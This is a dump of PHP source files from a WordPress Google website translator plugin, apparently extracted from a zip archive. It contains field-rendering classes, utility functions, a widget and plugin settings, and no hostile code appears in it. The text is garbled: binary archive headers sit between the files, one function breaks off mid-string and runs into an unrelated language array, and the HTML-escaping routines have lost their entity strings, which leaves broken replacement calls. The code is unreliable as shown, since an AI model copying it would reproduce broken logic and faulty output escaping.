'title' => $item->post_title, 'parent' => $item->post_parent ); break; } case 'category': { foreach ($temp as $item) $this->_items[$item->cat_ID] = array( 'title' => $item->cat_name, 'parent' => $item->category_parent ); break; } } } protected function _gen_values() { $this->_gen_items(); $this->values = array(); foreach ($this->_items as $id => $item) $this->values[$id] = array( 'value' => $item['title'], 'id' => $id, 'parent' => $item['parent'], ); $this->_sort(); } protected function _sort() { if (count($this->values) < 1) return; $result = array(); $temp = PrisnaGWTCommon::chain('id', 'parent', 'value', $this->values); if (is_array($temp)) foreach ($temp as $item) $result[$item['id']] = $item; $this->values = $result; } protected function _set_options() { $this->collection = new PrisnaGWTItemCollection(); foreach ($this->values as $key => $value) { $this->collection->add(new PrisnaGWTExclitemOptionField((object) array( 'id' => PrisnaGWTCommon::cleanId($this->id . '_' . $key, '_'), 'name' => $this->id, 'checked' => is_array($this->value) ? in_array((string) $key, $this->value, true) : false, 'option' => $key, 'indent' => $value['indent'] * 20, 'value' => $value['value'] )), $key); } } public function output($_html_encode=false) { $this->collection_formatted = $this->collection->render(array( 'type' => 'html', 'content' => '{{ collection }}' ), $_html_encode); $result = $this->_render(array( 'type' => 'file', 'content' => '/admin/exclude_item.tpl' ), $_html_encode); return $result; } } class PrisnaGWTRadioOptionField extends PrisnaGWTField { public $indent; public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/radio_option.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->checked, 'tag' => 'checked' ) ) ), $_html_encode); return $result; } } class PrisnaGWTRadioField extends PrisnaGWTField { public $collection_formatted; protected $collection; public function __construct($_properties) { $this->_set_properties($_properties); $this->_set_options(); } protected function _set_options() { $this->collection = new PrisnaGWTItemCollection(); foreach ($this->values as $key => $value) { $this->collection->add(new PrisnaGWTRadioOptionField((object) array( 'id' => $this->id . '_' . $key, 'name' => $this->id, 'checked' => $this->value == $key, 'option' => $key, 'value' => $value )), $key); } } public function output($_html_encode=false) { $this->collection_formatted = $this->collection->render(array( 'type' => 'html', 'content' => '{{ collection }}' ), $_html_encode); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/radio.tpl' ), $_html_encode); return $result; } } class PrisnaGWTVisualOptionField extends PrisnaGWTField { protected $_parent; public function __construct($_properties, $_parent) { $this->_set_properties($_properties); $this->_parent = $_parent; } public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/visual_option.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->checked, 'tag' => 'checked' ), array( 'expression' => $this->collection_item_index % $this->_parent->col_count == 0, 'tag' => 'new_row' ) ) ), $_html_encode); return $result; } } class PrisnaGWTVisualField extends PrisnaGWTField { public $col_count; public $collection_formatted; protected $collection; public function __construct($_properties) { $this->_set_properties($_properties); $this->_set_options(); } protected function _set_options() { $this->collection = new PrisnaGWTItemCollection(); foreach ($this->values as $key => $value) { $this->collection->add(new PrisnaGWTVisualOptionField((object) array( 'id' => $this->id . '_' . $key, 'name' => $this->id, 'checked' => $this->value == $key, 'option' => $key, 'value' => $value ), $this), $key); } } public function output($_html_encode=false) { $this->collection_formatted = $this->collection->render(array( 'type' => 'html', 'content' => '{{ collection }}' ), $_html_encode); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/visual.tpl' ), $_html_encode); return $result; } } class PrisnaGWTSelectOptionField extends PrisnaGWTField { protected $_parent; public function __construct($_properties, $_parent) { $this->_set_properties($_properties); $this->_parent = $_parent; } public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/select_option.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->selected, 'tag' => 'selected' ) ) ), $_html_encode); return $result; } } class PrisnaGWTSelectField extends PrisnaGWTField { public $force_selected; public $collection_formatted; protected $collection; public function __construct($_properties) { $this->_set_properties($_properties); $this->_set_options(); } protected function _set_options() { $this->collection = new PrisnaGWTItemCollection(); $selected_flag = false; foreach ($this->values as $key => $value) { if ($this->value == $key) $selected_flag = true; $this->collection->add(new PrisnaGWTSelectOptionField((object) array( 'selected' => $this->value == $key, 'option' => $key, 'value' => $value ), $this), $key); } if ($this->force_selected === true && $selected_flag !== true) $this->collection->add(new PrisnaGWTSelectOptionField((object) array( 'selected' => true, 'option' => $this->value, 'value' => $this->value ), $this), $this->value); } public function output($_template='select.tpl', $_html_encode=false) { $this->collection_formatted = $this->collection->render(array( 'type' => 'html', 'content' => '{{ collection }}' ), $_html_encode); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/' . $_template, 'meta_tag_rules' => array( array( 'expression' => property_exists($this, 'post_id') && !PrisnaGWTValidator::isEmpty($this->post_id), 'tag' => 'has_post_id' ) ) ), $_html_encode); return $result; } } class PrisnaGWTTranslationsField extends PrisnaGWTField { public $resource_formatted; protected $_resource_field; protected $folder; public function __construct($_properties) { parent::__construct($_properties); $this->_initialize_resource_field($_properties); } protected function _initialize_resource_field($_properties) { $_resource_field = $_properties; $_resource_field['id'] = $_resource_field['id'] . '_resource'; $_resource_field['values'] = $this->_get_resource_values(); $this->_resource_field = new PrisnaGWTSelectField($_resource_field); } public static function getFilesPaths($_folder, $_globals=false) { $contents = @scandir($_folder); $result = array(); if (empty($contents)) return $result; foreach ($contents as $name) { $file = $_folder . '/' . $name; if (PrisnaGWTCommon::endsWith($name, '.xml') && !PrisnaGWTCommon::startsWith($name, 'permalinks') && !PrisnaGWTCommon::startsWith($name, 'log_') && @is_file($file) && ($_globals || !PrisnaGWTCommon::endsWith($name, 'global.xml'))) $result[] = $file; } return $result; } protected function _get_files_scopes() { $files = self::getFilesPaths($this->folder); $result = array(); foreach ($files as $file) { $contents = PrisnaGWTFileHandler::read($file); if (!$contents) continue; $xml = new DOMDocument(); $xml->preserveWhiteSpace = false; if (@!$xml->loadXML($contents)) continue; $xpath = new DOMXPath($xml); $translation = $xpath->query("/translations")->item(0); if (!is_object($translation)) continue; $scope = $translation->getAttribute('scope'); $result[base64_encode($scope)] = $scope; } asort($result); return $result; } protected function _get_resource_values() { $result = array_merge(array('' => ''), $this->_get_files_scopes()); return $result; } public function output($_template='translations.tpl', $_html_encode=false) { $this->resource_formatted = $this->_resource_field->output('translations_select.tpl', $_html_encode); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/' . $_template ), $_html_encode); return $result; } } class PrisnaGWTSeologField extends PrisnaGWTField { public $logs_formatted; public $empty_message; protected $_file; protected $_entries_quantity; public function __construct($_properties) { parent::__construct($_properties); $this->_file = PrisnaGWTCommon::getLogFile(PrisnaGWTCommon::getTestApiKey()); $this->empty_message = PrisnaGWTMessage::get('seo_log_empty_message'); } protected function _render_log($_template='log.tpl', $_html_encode=false) { $result = ''; $xml = $this->_get_log(); if (!$xml) return $result; $xpath = new DOMXPath($xml); $entries = $xpath->query("//entry"); $count = (int) $entries->length; if ($count == 0) return $result; for ($i=$count-1; $i>=0; $i--) { $entry = array( 'date' => $entries->item($i)->getAttribute('date'), 'kind' => $entries->item($i)->getAttribute('kind'), 'content' => $entries->item($i)->nodeValue ); $result .= PrisnaGWTCommon::renderObject((object) $entry, array( 'type' => 'file', 'content' => '/admin/' . $_template, 'meta_tag_rules' => array( array( 'expression' => !($i % 2), 'tag' => 'even' ) ) ), $_html_encode); } return $result; } protected function _count_entries($_xml=null) { if (!is_null($this->_entries_quantity)) return $this->_entries_quantity; $xml = is_null($_xml) ? $this->_get_log() : $_xml; $xpath = new DOMXPath($xml); $entries = $xpath->query("//entry"); return $this->_entries_quantity = (int) $entries->length; } protected function _get_log() { if (!is_file($this->_file)) return false; $contents = PrisnaGWTFileHandler::read($this->_file); if (!$contents) return false; $result = new DOMDocument(); if (@!$result->loadXML($contents)) return false; return $result; } public function output($_template='seo_log.tpl', $_html_encode=false) { $this->logs_formatted = $this->_render_log('log.tpl', $_html_encode); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/' . $_template, 'meta_tag_rules' => array( array( 'expression' => !is_file($this->_file) || $this->_count_entries() == 0, 'tag' => 'empty' ) ) ), $_html_encode); return $result; } } class PrisnaGWTItemCollection { protected $_position = 0; public $collection = array(); public function __construct() { $this->_position = 0; } public function add($_object, $_index=null) { if (is_null($_index)) $this->collection[] = $_object; else $this->collection[$_index] = $_object; } public function rewind() { $this->_position = 0; } public function current() { $keys = array_keys($this->collection); return $this->collection[$keys[$this->_position]]; } public function getFirst() { $keys = array_keys($this->collection); return $this->collection[$keys[0]]; } public function getLast() { $keys = array_keys($this->collection); return $this->collection[$keys[count($keys)-1]]; } public function key() { return $this->_position; } public function next() { ++$this->_position; } public function count() { return count($this->collection); } public function valid() { $keys = array_keys($this->collection); if (!isset($keys[$this->_position])) return false; return isset($this->collection[$keys[$this->_position]]); } protected function _add_count_for_render() { if (!is_array($this->collection)) return; if (count($this->collection) > 0) { $i = 0; foreach ($this->collection as $item) { $item->collection_item_index = $i; $i++; } } } public function render($_options, $_html_encode=false) { $result = ''; $partial = array(); $this->_add_count_for_render(); if (is_array($this->collection)) if (count($this->collection) > 0) foreach ($this->collection as $item) $partial[] = $item->output($_html_encode); $object = (object) array( 'collection' => join("\n", $partial), 'collection_count' => count($partial) ); foreach ($this as $property => $value) if (!is_array($value)) $object->{$property} = $value; if (!array_key_exists('meta_tag_rules', $_options)) $_options['meta_tag_rules'] = array(); $_options['meta_tag_rules'][] = array( 'expression' => count($partial) == 0, 'tag' => 'collection.is_empty' ); $result = PrisnaGWTCommon::renderObject($object, $_options, $_html_encode); return $result; } } ?> PK.—[ÙðAdAd2google-website-translator/classes/common.class.phpnu„[µü¤' . $_code . ''; } public static function getHost($_url) { preg_match('/^(:\/\/|[^\/])+/', $_url, $matches); return $matches[0]; } public static function getSiteHost() { return self::getHost(get_option('home')); } public static function printHeaders() { header('Content-Type:application/json;charset=UTF-8'); header('Content-Disposition:attachment'); } public static function isOpenSSLInstalled() { return function_exists('openssl_encrypt'); } public static function isMcryptInstalled() { return function_exists('mcrypt_decrypt'); } public static function isFolderWritable($_folder) { return @is_writable($_folder) && is_array(@scandir($_folder)); } public static function getFilenameExtension($_file) { $parts = explode('.', $_file); if ($parts < 2) return false; return end($parts); } public static function getFilename($_path) { return preg_replace('/(.*[\/\\\\])/', '', $_path); } public static function getLanguage($_code, $_replace_white_space=false) { $languages = self::getLanguages(); $result = array_key_exists($_code, $languages) ? $languages[$_code] : false; if (empty($_replace_white_space) || empty($result)) return $result; return str_replace(' ', $_replace_white_space, $result); } protected static $_test_api_key; public static function getTestApiKey() { if (!is_null(self::$_test_api_key)) return self::$_test_api_key; $salt = '>=/{D;aay9X~O).IGzxlofu{GsIt+7.aFgOiQI}9OkBj0()63f -YI++c/array(0, 0), 'fr'=>array(-22, 0), 'co'=>array(-22, 0), 'nl'=>array(-44, 0), 'fy'=>array(-44, 0), 'el'=>array(-66, 0), 'la'=>array(-66, 0), 'de'=>array(-88, 0), 'es'=>array(-110, 0), 'zh-cn'=>array(-132, 0), 'zh-tw'=>array(-154, 0), 'pl'=>array(-176, 0), 'pt'=>array(-198, 0), 'th'=>array(0, -16), 'pa'=>array(-22, -16), 'ur'=>array(-22, -16), 'sd'=>array(-22, -16), 'ro'=>array(-44, -16), 'ru'=>array(-66, -16), 'no'=>array(-88, -16), 'da'=>array(-110, -16), 'fi'=>array(-132, -16), 'hi'=>array(-154, -16), 'gu'=>array(-154, -16), 'kn'=>array(-154, -16), 'ml'=>array(-154, -16), 'mr'=>array(-154, -16), 'ta'=>array(-154, -16), 'te'=>array(-154, -16), 'it'=>array(-176, -16), 'ja'=>array(-198, -16), 'af' => array(0, -32), 'st' => array(0, -32), 'zu' => array(0, -32), 'xh' => array(0, -32), 'sq'=>array(-22, -32), 'ar'=>array(-44, -32), 'hy'=>array(-66, -32), 'az'=>array(-88, -32), 'eu'=>array(-110, -32), 'be'=>array(-132, -32), 'bn'=>array(-154, -32), 'bs'=>array(-176, -32), 'bg'=>array(-198, -32), 'ca'=>array(0, -48), 'ceb'=>array(-22, -48), 'tl'=>array(-22, -48), 'ny'=>array(-44, -48), 'hr'=>array(-66, -48), 'cs'=>array(-88, -48), 'et'=>array(-110, -48), 'gl'=>array(-132, -48), 'ka'=>array(-154, -48), 'ht'=>array(-176, -48), 'ha'=>array(-198, -48), 'ig'=>array(-198, -48), 'iw'=>array(0, -64), 'yi'=>array(0, -64), 'hmn'=>array(-22, -64), 'vi'=>array(-22, -64), 'hu'=>array(-44, -64), 'is'=>array(-66, -64), 'id'=>array(-88, -64), 'jw'=>array(-88, -64), 'su'=>array(-88, -64), 'ga'=>array(-110, -64), 'kk'=>array(-132, -64), 'km'=>array(-154, -64), 'ko'=>array(-176, -64), 'lo'=>array(-198, -64), 'lv'=>array(0, -80), 'lt'=>array(-22, -80), 'mk'=>array(-44, -80), 'mg'=>array(-66, -80), 'ms'=>array(-88, -80), 'mt'=>array(-110, -80), 'mi'=>array(-132, -80), 'mn'=>array(-154, -80), 'my'=>array(-176, -80), 'ne'=>array(-198, -80), 'fa'=>array(0, -96), 'tg'=>array(0, -96), 'ku'=>array(0, -96), 'sr'=>array(-22, -96), 'si'=>array(-44, -96), 'sk'=>array(-66, -96), 'sl'=>array(-88, -96), 'so'=>array(-110, -96), 'sw'=>array(-110, -96), 'sv'=>array(-132, -96), 'tr'=>array(-154, -96), 'uk'=>array(-176, -96), 'uz'=>array(-198, -96), 'cy'=>array(0, -112), 'yo'=>array(-22, -112), 'eo'=>array(-44, -112), 'am'=>array(-66, -112), 'ky'=>array(-88, -112), 'lb'=>array(-110, -112), 'ps'=>array(-132, -112), 'sm'=>array(-154, -112), 'gd'=>array(-176, -112), 'sn'=>array(-198, -112), 'haw'=>array(0, -128) ); return array_key_exists($_language, $languages) ? $languages[$_language] : false; } public static function getLanguages($_sort=true) { $languages = array( 'en' => 'English', 'af' => 'Afrikaans', 'sq' => 'Albanian', 'am' => 'Amharic', 'ar' => 'Arabic', 'hy' => 'Armenian', 'az' => 'Azerbaijani', 'eu' => 'Basque', 'be' => 'Belarusian', 'bn' => 'Bengali', 'bs' => 'Bosnian', 'bg' => 'Bulgarian', 'ca' => 'Catalan', 'ceb' => 'Cebuano', 'ny' => 'Chichewa', 'zh-CN' => 'Chinese Simplified', 'zh-TW' => 'Chinese Traditional', 'co' => 'Corsican', 'hr' => 'Croatian', 'cs' => 'Czech', 'da' => 'Danish', 'nl' => 'Dutch', 'eo' => 'Esperanto', 'et' => 'Estonian', 'tl' => 'Filipino', 'fi' => 'Finnish', 'fr' => 'French', 'fy' => 'Frisian', 'gl' => 'Galician', 'ka' => 'Georgian', 'de' => 'German', 'el' => 'Greek', 'gu' => 'Gujarati', 'ht' => 'Haitian Creole', 'ha' => 'Hausa', 'haw' => 'Hawaiian', 'iw' => 'Hebrew', 'hi' => 'Hindi', 'hmn' => 'Hmong', 'hu' => 'Hungarian', 'is' => 'Icelandic', 'ig' => 'Igbo', 'id' => 'Indonesian', 'ga' => 'Irish', 'it' => 'Italian', 'ja' => 'Japanese', 'jw' => 'Javanese', 'kn' => 'Kannada', 'kk' => 'Kazakh', 'km' => 'Khmer', 'ko' => 'Korean', 'ku' => 'Kurdish', 'ky' => 'Kyrgyz', 'lo' => 'Lao', 'la' => 'Latin', 'lv' => 'Latvian', 'lt' => 'Lithuanian', 'lb' => 'Luxembourgish', 'mk' => 'Macedonian', 'mg' => 'Malagasy', 'ms' => 'Malay', 'ml' => 'Malayalam', 'mt' => 'Maltese', 'mi' => 'Maori', 'mr' => 'Marathi', 'mn' => 'Mongolian', 'my' => 'Burmese', 'ne' => 'Nepali', 'no' => 'Norwegian', 'ps' => 'Pashto', 'fa' => 'Persian', 'pl' => 'Polish', 'pt' => 'Portuguese', 'pa' => 'Punjabi', 'ro' => 'Romanian', 'ru' => 'Russian', 'sm' => 'Samoan', 'gd' => 'Scots Gaelic', 'sr' => 'Serbian', 'st' => 'Sesotho', 'sn' => 'Shona', 'sd' => 'Sindhi', 'si' => 'Sinhala', 'sk' => 'Slovak', 'sl' => 'Slovenian', 'so' => 'Somali', 'es' => 'Spanish', 'su' => 'Sundanese', 'sw' => 'Swahili', 'sv' => 'Swedish', 'tg' => 'Tajik', 'ta' => 'Tamil', 'te' => 'Telugu', 'th' => 'Thai', 'tr' => 'Turkish', 'uk' => 'Ukrainian', 'ur' => 'Urdu', 'uz' => 'Uzbek', 'vi' => 'Vietnamese', 'cy' => 'Welsh', 'xh' => 'Xhosa', 'yi' => 'Yiddish', 'yo' => 'Yoruba', 'zu' => 'Zulu' ); if ($_sort) asort($languages); return $languages; } public static function getArrayItems($_items, $_array) { $result = array(); if (!is_array($_items)) $_items = array($_items); for ($i=0; $i', '"'), array('\', '<', '>', '"'), $result); return $result; } else if (is_array($_string)) { $result = array(); foreach ($_string as $key => $string) $result[$key] = str_replace('&', '&', $result[$key]); $result[$key] = str_replace(array('<', '>', '"'), array('<', '>', '"'), $string); return $result; } else return $_string; } public static function cleanId($_string, $_separator='-', $_remove_last=true) { $result = preg_replace('/[^a-zA-Z0-9]+|\s+/', $_separator, strtolower($_string)); if ($_remove_last === true && self::endsWith($result, '-')) $result = rtrim($result, '-'); return $result; } public static function removeBreakLines($_string) { return preg_replace("/\n\r|\r\n|\n|\r/", '{{ break_line }}', $_string); } public static function htmlBreakLines($_string) { return preg_replace("/\n\r|\r\n|\n|\r/", '
      ', $_string); } public static function stripBreakLinesAndTabs($_string) { $result = self::stripBreakLines($_string); return str_replace("\t", '', $result); } public static function stripBreakLines($_string, $_flag=true) { if ($_flag) return preg_replace("/\n\r|\r\n|\n|\r/", '', $_string); else return preg_replace("/(\n\r|\r\n|\n|\r){2,}/", '', $_string); } private static $_disabled_magic_quotes_flag = false; private final static function _disable_magic_quotes() { if (self::$_disabled_magic_quotes_flag) return; if (get_magic_quotes_gpc()) { $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST); while (list($key, $val) = each($process)) { foreach ($val as $k => $v) { unset($process[$key][$k]); if (is_array($v)) { $process[$key][stripslashes($k)] = $v; $process[] = &$process[$key][stripslashes($k)]; } else { $process[$key][stripslashes($k)] = stripslashes($v); } } } unset($process); } self::$_disabled_magic_quotes_flag = true; } public static function getAlternateVariable($_var_names, $_method='POST', $_escape_html=true) { foreach ($_var_names as $var_name) { $result = self::getVariable($var_name, $_method, $_escape_html); if ($result !== false) break; } return $result; } public static function getVariableSet($_var_base_name, $_variants=array(), $_discard_empty=true, $_method='POST', $_escape_html=true) { $result = array(); for ($i=0; $i'; return self::mergeText($_message, $images); } public static function mergeText($_message, $_new_values_array) { $match_array = array(); for ($i = 0; $i < count($_new_values_array); $i++) $match_array[] = "[$i]"; return str_replace($match_array, $_new_values_array, $_message); } public static function mergeArrays($_array_1, $_array_2) { foreach ($_array_2 as $key => $value) { if (!is_array($_array_1)) { continue; var_dump('Array 1 is not an array!'); var_dump($_array_1); die(); } if (!is_array($_array_2)) { continue; var_dump('Array 2 is not an array!'); var_dump($_array_2); die(); } if (array_key_exists($key, $_array_1) && is_array($value)) $_array_1[$key] = self::mergeArrays($_array_1[$key], $_array_2[$key]); else $_array_1[$key] = $value; } return $_array_1; } public static function chain($primary_field, $parent_field, $sort_field, $rows, $root_id=0, $maxlevel=250000) { $chain = new PrisnaGWTChain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel); return $chain->get(); } /** * * render object methods * */ protected static $_render_object_cache; protected static function _initialize_template_cache() { if (!is_array(self::$_render_object_cache)) self::$_render_object_cache = array(); } protected static function _set_template($_file, $_content) { self::$_render_object_cache[$_file] = $_content; } protected static function _get_template($_file) { return array_key_exists($_file, self::$_render_object_cache) ? self::$_render_object_cache[$_file] : false; } public static function renderObject($_object, $_options=null, $_htmlencode=false) { self::_initialize_template_cache(); if ($_options['type'] == 'file') $template = PRISNA_GWT__TEMPLATES . $_options['content']; else if ($_options['type'] == 'html') $html = $_options['content']; else { var_dump('--------'); print_r($_options); var_dump('--------'); return 'template type error'; } if (array_key_exists('meta_tag_rules', $_options)) $meta_tag_rules = $_options['meta_tag_rules']; else $meta_tag_rules = null; if (!is_array($_object)) { if ($_options['type'] == 'file') { $result = self::_get_template($template); if ($result !== false) self::_set_template($template, $result); else { ob_start(); if (is_file($template)) include $template; else { echo "$template does not exist!
      "; #var_dump('Error: '); #print_r($_options); } $result = ob_get_clean(); } } else $result = $html; if ($_object != null) foreach ($_object as $property => $value) $result = self::stampCustomValue("{{ $property }}", $value, $result, $_htmlencode); if (is_array($meta_tag_rules)) $result = self::displayHideMetaTags($_object, $meta_tag_rules, $result); } else { $result = ''; foreach ($_object as $single_object) { $temp_object = is_array($single_object) ? (object) $single_object : $single_object; $result .= self::renderObject($temp_object, $_options, $_htmlencode); } } return $result; } protected static function displayHideMetaTags($_object, $_meta_tag_rules, $_html) { $result = $_html; foreach ($_meta_tag_rules as $meta_tag_rule) { if (array_key_exists('property', $meta_tag_rule)) $_expression = ($_object->{$meta_tag_rule['property']} == $meta_tag_rule['value']); else if (array_key_exists('expression', $meta_tag_rule)) $_expression = $meta_tag_rule['expression']; $result = self::displayHideMetaTag($_expression, $meta_tag_rule['tag'], $result); } return $result; } public static function displayHideMetaTag($_expression, $_tag, $_html) { if ($_expression) { $_html = self::displayHideBlock("$_tag.true", $_html, true); $_html = self::displayHideBlock("$_tag.false", $_html, false); } else { $_html = self::displayHideBlock("$_tag.true", $_html, false); $_html = self::displayHideBlock("$_tag.false", $_html, true); } return $_html; } protected static function displayHideBlock($_name, $_html, $_state) { if ($_state) { $_names = array ( "{{ $_name:begin }}", "{{ $_name:end }}" ); $results = str_replace($_names, '', $_html); } else { $occurrence_ini = strpos($_html, "{{ $_name:begin }}"); $occurrence_end = strpos($_html, "{{ $_name:end }}", $occurrence_ini); $last_occurrence_ini = 0; $positions = array (); $results = $_html; while ((!PrisnaGWTValidator::isEmpty($occurrence_ini)) && (PrisnaGWTValidator::isInteger($occurrence_ini)) && (!PrisnaGWTValidator::isEmpty($occurrence_end)) && (PrisnaGWTValidator::isInteger($occurrence_end))) { $positions[] = array ( $occurrence_ini, $occurrence_end ); $occurrence_ini = strpos($_html, "{{ $_name:begin }}", $occurrence_end); $occurrence_end = strpos($_html, "{{ $_name:end }}", $occurrence_ini); } $_name_length = strlen("{{ $_name:end }}"); $results = $_html; rsort($positions); foreach ($positions as $position) { $results = substr_replace($results, '', $position[0], $position[1] - $position[0] + $_name_length); } } return $results; } public static function stampCustomValue($_tag, $_value, $_html, $_htmlencode=false) { if (is_string($_value) || is_int($_value) || is_float($_value) || is_null($_value)) $result = str_replace($_tag, $_htmlencode ? utf8_decode($_value) : $_value, $_html); else $result = $_html; return $result; } } class PrisnaGWTUI extends WP_Widget { public function __construct() { parent::__construct(PrisnaGWTConfig::getWidgetName(true), PrisnaGWTConfig::getWidgetName(), array( 'description' => sprintf(__('Add the %s.', 'prisna-gwt'), PrisnaGWTConfig::getName(false, true)) )); } public function form($_instance) { $display_mode = PrisnaGWTConfig::getSettingValue('display_mode'); $style = $display_mode != 'automatic' ? PrisnaGWTConfig::getSettingValue('style_' . $display_mode) : null; $class_name = 'prisna_gwt_widget_container_'; if ($display_mode == 'automatic') { $result = __('Automatic', 'prisna-gwt'); $class_name .= 'text'; } else { $style_setting = PrisnaGWTConfig::getSetting('style_' . $display_mode); $path = $style_setting['values'][$style_setting['value']]; $result = ''; $class_name .= 'image'; } if ($display_mode == 'inline') { $title = isset($_instance['title']) ? $_instance['title'] : ''; $class_name .= ' prisna_gwt_widget_has_title'; echo '

      '; } echo '
      ' . $result . '
      '; if ($display_mode != 'inline') return 'noform'; } protected function _add_class($_html, $_class_name) { $result = $_html; $pattern = '/\bclass\=\".*?\"/'; preg_match($pattern, $_html, $matches); if (empty($matches)) $result = str_replace('>', ' class="' . $_class_name . '">', $result); else { $class_attribute = substr($matches[0], 0, -1) . ' ' . $_class_name . '"'; $result = str_replace($matches[0], $class_attribute, $result); } return $result; } public function widget($_arguments, $_instance) { $display_mode = PrisnaGWTConfig::getSettingValue('display_mode'); $title = array_key_exists('title', $_instance) ? apply_filters('widget_title', $_instance['title']) : null; extract($_arguments, EXTR_SKIP); echo $before_widget; if ($display_mode == 'inline' && !empty($title)) echo $this->_add_class($_arguments['before_title'], 'prisna-gwt-align-' . PrisnaGWTConfig::getSettingValue('align_mode')) . $title . $_arguments['after_title']; echo do_shortcode('[' . PrisnaGWTConfig::getWidgetName(true) . ']'); echo $after_widget; } public static function isAvailable() { if (PrisnaGWTConfig::getSettingValue('test_mode') == 'true' && !current_user_can('administrator')) return false; return true; } public static function _initialize_widget() { if (!self::isAvailable()) return; register_widget('PrisnaGWTUI'); } } add_action('widgets_init', array('PrisnaGWTUI', '_initialize_widget')); class PrisnaGWTValidator { public static function isInteger($_number) { if (!self::isEmpty($_number)) return ((string) $_number) === ((string) (int) $_number); else return true; } public static function isEmpty($_string) { return (empty($_string) && strlen($_string) == 0); } public static function isBool($_string) { return ($_string === 'true' || $_string === 'false' || $_string === true || $_string === false); } } class PrisnaGWTChain { public $table; public $rows; public $chain_table; public $primary_field; public $parent_field; public $sort_field; public function __construct($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel) { $this->rows = $rows; $this->primary_field = $primary_field; $this->parent_field = $parent_field; $this->sort_field = $sort_field; $this->_build_chain($root_id,$maxlevel); } public function get() { return $this->chain_table; } protected function _build_chain($rootcatid, $maxlevel) { foreach($this->rows as $row) $this->table[$row[$this->parent_field]][ $row[$this->primary_field]] = $row; $this->_make_branch($rootcatid,0,$maxlevel); } protected function _make_branch($parent_id, $level, $maxlevel) { $rows = $this->table[$parent_id]; if (empty($rows)) return; foreach($rows as $key => $value) $rows[$key]['key'] = $this->sort_field; usort($rows, array('self', 'cmp')); foreach($rows as $item) { $item['indent'] = $level; $this->chain_table[] = $item; if (isset($this->table[$item[$this->primary_field]]) && ($maxlevel>$level+1) || ($maxlevel==0)) $this->_make_branch($item[$this->primary_field], $level+1, $maxlevel); } } public static function cmp($a, $b) { if ($a[$a['key']] == $b[$b['key']]) return 0; return $a[$a['key']] < $b[$b['key']] ? -1 : 1; } } ?>PK.—[a¿y.?K?K2google-website-translator/classes/config.class.phpnu„[µü¤ 0 ? base64_encode(serialize($settings)) : __('No settings to export. The current settings are the default ones.', 'prisna-gwt'); } public static function getSettingsValues($_force=false, $_new=true) { $result = array(); $settings = self::getSettings($_force); $defaults = self::getDefaults(); foreach ($settings as $key => $setting) { if (!array_key_exists($key, $defaults)) continue; if ($_new == false || !self::_compare_settings($key, $setting, $defaults[$key])) { $result[$key] = array( 'value' => $setting['value'], 'option_id' => array_key_exists('option_id', $setting) ? $setting['option_id'] : null ); } } return $result; } public static function getSettingValue($_name, $_force=false) { $setting = self::getSetting($_name, $_force); if (is_null($setting)) return null; $result = $setting['value']; if (PrisnaGWTValidator::isBool($result)) $result = $result == 'true' || $result === true; return $result; } public static function getDefaults($_force=false) { $settings = self::_get_settings(); $display_mode = array_key_exists('display_mode', $settings) ? $settings['display_mode']['value'] : 'inline'; $result = array( 'usage' => array( 'title_message' => __('Usage', 'prisna-gwt'), 'description_message' => '', 'id' => 'prisna_usage', 'type' => 'usage', 'value' => $display_mode == 'inline' ? sprintf(__(' - Go to the Appereance > Widgets panel, search for the following widget

      %s

      - Or copy and paste the following code into pages, posts, etc...

      [prisna-google-website-translator]

      - Or copy and paste the following code into any page, post or front end PHP file

      <?php echo do_shortcode(\'[prisna-google-website-translator]\'); ?>
      ', 'prisna-gwt'), self::getWidgetName()) : __(' The selected Display mode doesn\'t require any further action.
      The plugin is already active in your website. ', 'prisna-gwt'), 'group' => 1 ), 'premium' => array( 'title_message' => '', 'description_message' => '', 'id' => 'prisna_usage', 'type' => 'premium', 'value' => '', 'group' => 4 ), 'from' => array( 'title_message' => __('Website\'s language', 'prisna-gwt'), 'description_message' => __('Sets the website\'s source language.', 'prisna-gwt'), 'id' => 'prisna_from', 'option_id' => 'pageLanguage', 'type' => 'select', 'values' => PrisnaGWTCommon::getLanguages(), 'value' => 'en', 'group' => 1 ), 'all_languages' => array( 'title_message' => __('Translation languages', 'prisna-gwt'), 'description_message' => __('Sets the available languages.', 'prisna-gwt'), 'id' => 'prisna_all_languages', 'type' => 'toggle', 'value' => 'true', 'values' => array( 'true' => __('Yes, use all languages', 'prisna-gwt'), 'false' => __('No, choose languages', 'prisna-gwt') ), 'group' => 1 ), 'available_languages' => array( 'title_message' => __('Specific languages', 'prisna-gwt'), 'description_message' => __('Specifically sets the available languages.', 'prisna-gwt'), 'id' => 'prisna_available_languages', 'values' => PrisnaGWTCommon::getLanguages(), 'value' => array(), 'type' => 'language', 'enable_order' => false, 'columns' => 4, 'dependence' => 'all_languages', 'dependence_show_value' => 'false', 'group' => 1 ), 'display_mode' => array( 'title_message' => __('Display mode', 'prisna-gwt'), 'description_message' => __('Sets the display mode. When Automatic is selected, the translation banner will automatically be displayed when the default browser language of the visitor is different from the language of your page. No dropdown will be displayed.', 'prisna-gwt'), 'id' => 'prisna_display_mode', 'type' => 'select', 'values' => array( 'inline' => __('Inline', 'prisna-gwt'), 'tabbed' => __('Tabbed', 'prisna-gwt'), 'automatic' => __('Automatic', 'prisna-gwt') ), 'value' => 'inline', 'group' => 1 ), 'style_inline' => array( 'title_message' => __('Style mode', 'prisna-gwt'), 'id' => 'prisna_style_inline', 'values' => array( 'vertical' => PRISNA_GWT__IMAGES . '/style_vertical.png', 'horizontal' => PRISNA_GWT__IMAGES . '/style_horizontal.png', 'dropdown' => PRISNA_GWT__IMAGES . '/style_dropdown.png' ), 'value' => 'vertical', 'type' => 'visual', 'col_count' => 3, 'dependence' => 'display_mode', 'dependence_show_value' => 'inline', 'group' => 1 ), 'style_tabbed' => array( 'title_message' => __('Style mode', 'prisna-gwt'), 'id' => 